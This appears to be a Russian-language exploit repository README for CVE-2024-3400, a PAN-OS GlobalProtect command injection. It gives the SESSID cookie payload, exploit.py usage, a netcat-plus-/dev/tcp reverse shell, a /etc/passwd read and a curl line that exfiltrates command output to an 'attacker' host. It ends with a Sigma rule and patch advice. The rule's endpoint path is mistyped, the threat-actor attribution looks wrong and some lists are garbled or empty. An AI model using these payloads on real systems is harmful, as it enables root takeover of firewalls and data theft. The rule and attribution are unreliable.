Воспроизведение cve-2024-3400-panos_rce_reproduction
CVSS 10.0 КРИТИЧЕСКИЙ | CWE-78: Инъекция OS-команд | Массово эксплуатируется в дикой природе
CVE-2024-3400 — это уязвимость инъекции команд без аутентификации в интерфейсах портала и шлюза GlobalProtect в Palo Alto Networks PAN-OS. Уязвимость позволяет неаутентифицированному злоумышленнику выполнять произвольные команды с привилегиями root на затронутом межсетевом экране.
Уязвимость кроется в обработке сессионных cookie компонентом портала и шлюза GlobalProtect. Функция, отвечающая за обработку cookie SESSID, не выполняет надлежащую санитизацию пользовательского ввода перед передачей его в shell-команду.
В частности, неаутентифицированный HTTP-запрос к конечной точке портала GlobalProtect (/global-protect/login.esp) со специально сформированной cookie SESSID, содержащей встроенные метасимволы shell (обратные кавычки и подстановку переменных), приводит к инъекции команд.
Уязвимый путь выполнения кода работает следующим образом:
/global-protect/login.espSESSID извлекается без санитизацииsystem() или аналогичную функцию выполнения OS-командИнъекционная полезная нагрузка использует команды, заключённые в обратные кавычки, внутри cookie SESSID:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
Обход пути (/../../../) позволяет выйти за пределы целевого каталога, а часть COMMAND, заключённая в обратные кавычки, заставляет shell выполнить ввод злоумышленника. Для эксфильтрации результатов команд могут использоваться перенаправление вывода или механизмы reverse shell.
| Версия PAN-OS | Затронутые версии | Исправлено в |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 | 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
Примечание: PAN-OS 9.x и более ранние версии не затронуты. Cloud NGFW и Prisma Access не затронуты.
UNC4554 / Midnight Blizzard (APT29) эксплуатировала CVE-2024-3400 как 0-day начиная с марта 2024 года. Компания Volexity опубликовала свой анализ 12 апреля 2024 года. Паттерны атак включали:
Опубликовано несколько публичных PoC. Данный репозиторий предоставляет работоспособный эксплойт для авторизованного тестирования.
requestspip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
См. exploit.py в этом репозитории — полнофункциональный Python-эксплойт со следующими возможностями:
/global-protect/login.esp с аномально длинными или подозрительными cookie SESSID/../../) в сочетании с обратными кавычками.py, записываемые в /opt/panlogs/tmp/device_telemetry/title: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (блокирует уязвимый путь выполнения кода без перезагрузки)/opt/panlogs/tmp/device_telemetry/SESSIDПримените исправление (hotfix), предоставленное Palo Alto Networks. Исправление выполняет надлежащую санитизацию ввода cookie перед формированием shell-команды.
Если вы подозреваете эксплуатацию: